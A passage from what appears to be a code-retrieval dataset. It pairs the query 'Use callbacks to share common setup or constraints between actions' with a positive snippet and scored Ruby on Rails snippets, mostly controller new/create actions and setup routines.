"text": "def new\n logger.debug \"** ORGANISATION NEW **\"\n @organisation = Organisation.new\n setup_organisation\n end",
"title": ""
},
{
"docid": "f7ccf2fc4cdaad02419fddb79ee4d15a",
"score": "0.62345856",
"text": "def new\n @orgao = Orgao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orgao }\n end\n end",
"title": ""
},
{
"docid": "f7ccf2fc4cdaad02419fddb79ee4d15a",
"score": "0.62345856",
"text": "def new\n @orgao = Orgao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orgao }\n end\n end",
"title": ""
},
{
"docid": "0d0d14d025a6c7433e0955baa9d02823",
"score": "0.6233508",
"text": "def new\n @organizer = Organizer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organizer }\n end\n end",
"title": ""
},
{
"docid": "d452203d09efc1cb3eb7de9d42c9d16f",
"score": "0.62312627",
"text": "def new\n @organization = Irm::Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "930355690fa6688119f6856c724df173",
"score": "0.62230456",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end",
"title": ""
},
{
"docid": "11e4faf007f79ea7e670d62541f99218",
"score": "0.6220351",
"text": "def new\n @individual_organization_record = IndividualOrganizationRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @individual_organization_record }\n end\n end",
"title": ""
},
{
"docid": "fbdd1bfd7ac419524e65db0d10b86c9b",
"score": "0.62153304",
"text": "def new\n @project = Project.new\n get_repo_list\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"title": ""
},
{
"docid": "c9d37fd08c7a34f4317262e60b9431d7",
"score": "0.6205136",
"text": "def create_new_organization(options = {})\n organization = Shelly::Organization.new\n organization.name = ask_for_organization_name\n organization.redeem_code = options[\"redeem-code\"]\n organization.referral_code = options[\"referral-code\"]\n organization.create\n say \"Organization '#{organization.name}' created\", :green\n organization.name\n end",
"title": ""
},
{
"docid": "35afbb13f3fd827a7ba70aefda0b791c",
"score": "0.6197707",
"text": "def new\n @organism = Organism.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @organism }\n end\n end",
"title": ""
},
{
"docid": "9d06e788a98f93c58bdeaa8537aecd27",
"score": "0.61933535",
"text": "def new\n respond_with @organization\n end",
"title": ""
},
{
"docid": "c233e05b5b3a40ae26ea6f83e183a1c0",
"score": "0.6190885",
"text": "def new\n @corp = Corp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corp }\n end\n end",
"title": ""
},
{
"docid": "924aff0d7b38321846bab07b28246fa5",
"score": "0.6188278",
"text": "def new\n @organization_type = OrganizationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization_type }\n end\n end",
"title": ""
},
{
"docid": "8bb4b288f22c4dc5137c053a325a8806",
"score": "0.61868286",
"text": "def create\n @orgrequest = Orgrequest.new(params[:orgrequest])\n\n respond_to do |format|\n if @orgrequest.save\n format.html { redirect_to @orgrequest, notice: 'Orgrequest was successfully created.' }\n format.json { render json: @orgrequest, status: :created, location: @orgrequest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orgrequest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b31ab364e3ace82c20eab9dcb7de04ef",
"score": "0.6186084",
"text": "def create_org(orgname)\n payload = {\n \"name\" => orgname,\n \"full_name\" => orgname,\n \"org_type\" => \"Business\"\n }\n puts \"Creating org #{orgname}\"\n MAX_ATTEMPTS.times do |attempt|\n r = post(\"#{@server}/organizations\", superuser, :payload => payload)\n\n case r.code\n when 201, 200\n parsed = parse(r)\n validator_name = parsed[\"clientname\"]\n validator_key = parsed[\"private_key\"]\n\n validator = Pedant::Client.new(validator_name, validator_key)\n return Pedant::Organization.new(orgname, validator)\n when 503\n # Continue attempting by allowing the loop to continue\n puts \"Failed attempting to contact #{@server} (#{attempt}/#{MAX_ATTEMPTS})\"\n else\n raise \"Bad error code #{r.code} from create org: #{r}\"\n end\n\n end\n raise \"Failed attempting to contact #{@server} #{MAX_ATTEMPTS} times\"\n end",
"title": ""
},
{
"docid": "1be3a1bf907daf7458fc29556806232f",
"score": "0.61854744",
"text": "def create\n @admin_organization = Admin::Organization.new(params[:admin_organization])\n\n respond_to do |format|\n if @admin_organization.save\n format.html { redirect_to admin_organizations_url, notice: 'Organização criada com sucesso' }\n format.json { render json: @admin_organization, status: :created, location: @admin_organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e8eeb02ace254bf48ba0157fecdf392",
"score": "0.6181102",
"text": "def create\n @organization = Organization.new(organization_params)\n\n if @organization.save\n render json: @organization, status: :created, location: @organization\n else\n render json: @organization.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "65dbb792f194218531d5874f9eb80103",
"score": "0.61810476",
"text": "def new\n @organization = Organization.find(params[:organization_id])\n @cao = Cao.new\n end",
"title": ""
},
{
"docid": "cfbac7376cbb87923e291f0173de2b15",
"score": "0.61774623",
"text": "def create(*args)\n params = args.extract_options!\n normalize! params\n filter! VALID_REPO_OPTIONS + %w[ org ], params\n assert_required_keys(%w[ name ], params)\n\n # Requires authenticated user\n if (org = params.delete(\"org\"))\n post_request(\"/orgs/#{org}/repos\", DEFAULT_REPO_OPTIONS.merge(params))\n else\n post_request(\"/user/repos\", DEFAULT_REPO_OPTIONS.merge(params))\n end\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "c9e78f669610f23dd24e85f65887674e",
"score": "0.0",
"text": "def set_guess\n @guess = Guess.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
cef8f6d8791517df01583456a6246214
|
the link to the result page
|
[
{
"docid": "5b296d91c98eef5c558eeb1a20a444f5",
"score": "0.0",
"text": "def get_hyperlink(row)\n URI.join(native_host, row.dig('uri')).to_s\n end",
"title": ""
}
] |
[
{
"docid": "91652e4c8ea186bd7795221d4026afac",
"score": "0.71166086",
